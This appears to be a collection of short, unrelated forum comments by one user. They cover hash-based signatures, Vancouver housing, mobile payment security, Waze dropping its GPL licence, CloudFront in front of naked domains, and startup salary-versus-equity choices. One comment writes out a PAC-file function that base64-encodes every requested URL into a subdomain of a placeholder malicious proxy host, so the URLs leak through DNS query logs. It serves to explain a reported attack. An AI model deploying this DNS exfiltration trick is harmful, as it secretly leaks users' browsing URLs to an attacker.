The article is about hash-based signatures, not signatures in general or public-key signatures (DSA or RSA).

Perhaps, as some other persons commented on the thread, the housing price at Vancouver was pushed high by oversea money? The other cities were not like this?

It basically means the lacking of credit systems and mature fraud detections. If you lose your (credit) card or leak your credit card number, the bank won't probably reimburse your financial losses. Compared to credit cards, mobile payments may be more secure.

From the description in the article, I guess the attack might use a PAC file like the following

  function FindProxyForURL(url, host) {
    return "PROXY " + base64(url) + ".malicious-proxy.tld:1080";
  }

Then the attacker can look at his/her DNS server query log and figure out the URL.

It seems the patent has four inventors, but tinasu isn't one of them. Where did you get the name from?

Maybe more background to add to the story:

Originally, the source code of Waze clients was released under GPL, which AFAIR it was as branded as a part of the community-based map app.

But the company chose to not release the source code after v3.0. This is quoted from one of my emails.

    In reply to your inquiry "Hi, where can we get the latest waze code?":
    
    Thank you for your feedback.
    
    You can find source code for the old versions (up to 2.4) on our wiki - waze.com/wiki
    
    Version 3.0 and higher are no longer under GPL, and at the moment we are still considering if and how we will share the code for these versions.
    
    Best regards,

I guess Waze either 1) has obtained the agreements of all open-source contributors, or 2) has completely rewritten all related source code.

CloudFront allows naked domains, so you can use naked domains for almost anything if you place a layer of CF before it.

For example, for this case of GAE, you can use

  Naked domains <=> CloudFront <=> GAE

I found one thing interesting is that only 4 out of 17 people choose equity over $10k salary. Even CTO chooses salary.

I am curious if this is common in startup companies, since I have never worked in startups.
